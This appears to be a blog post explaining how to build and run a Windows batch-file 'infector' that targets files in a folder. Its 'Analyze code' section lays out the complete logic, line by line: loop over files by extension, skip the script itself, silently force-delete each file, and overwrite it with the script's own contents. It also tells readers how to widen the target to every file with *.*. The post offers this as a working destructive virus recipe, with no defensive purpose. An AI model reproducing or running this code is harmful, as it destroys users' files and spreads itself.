Means you have a folder in c:\....\desktop\abc
abc folder has following files and folder
1.txt.
2.txt.
xyz named folder.
Now if you want to infeact file 1.txt and 2.txt but not want to infeact folder then you have to do following.
1)Copy above code and paste it in notepad and save it in folder abc(here) as filename.bat and run that bat file.(See below to know how it works)
If you want to infeact another file extension then change *.txt with another file extension in following
FOR %%A IN (*.txt) DO (
If you replace *.txt with *.* then all file in abc folder are infeact with this file.
Note that if you use *.* then one file from xyz folder is deleted.
Analyze code
::FOR %%A IN (*.bat) DO ()
:: Basic FOR loop to check for all files in the same dir with the file extension .bat
::IF NOT %%A==%~nx0 ()
:: Basic IF check to check that the current file in the loop is not the infector file itself it does this by checking the %%A ::var against %~nx0 which returns the filename and extension of the infector (this file)
::DEL /F /S /Q "%%A" >NUL
:: Silently delete the current file in the loop if it is not the infector file (this file)
::TYPE %0>%%A
:: Write the infector file's script into the current file in the loop which was previousily deleted.
Comments
Post a Comment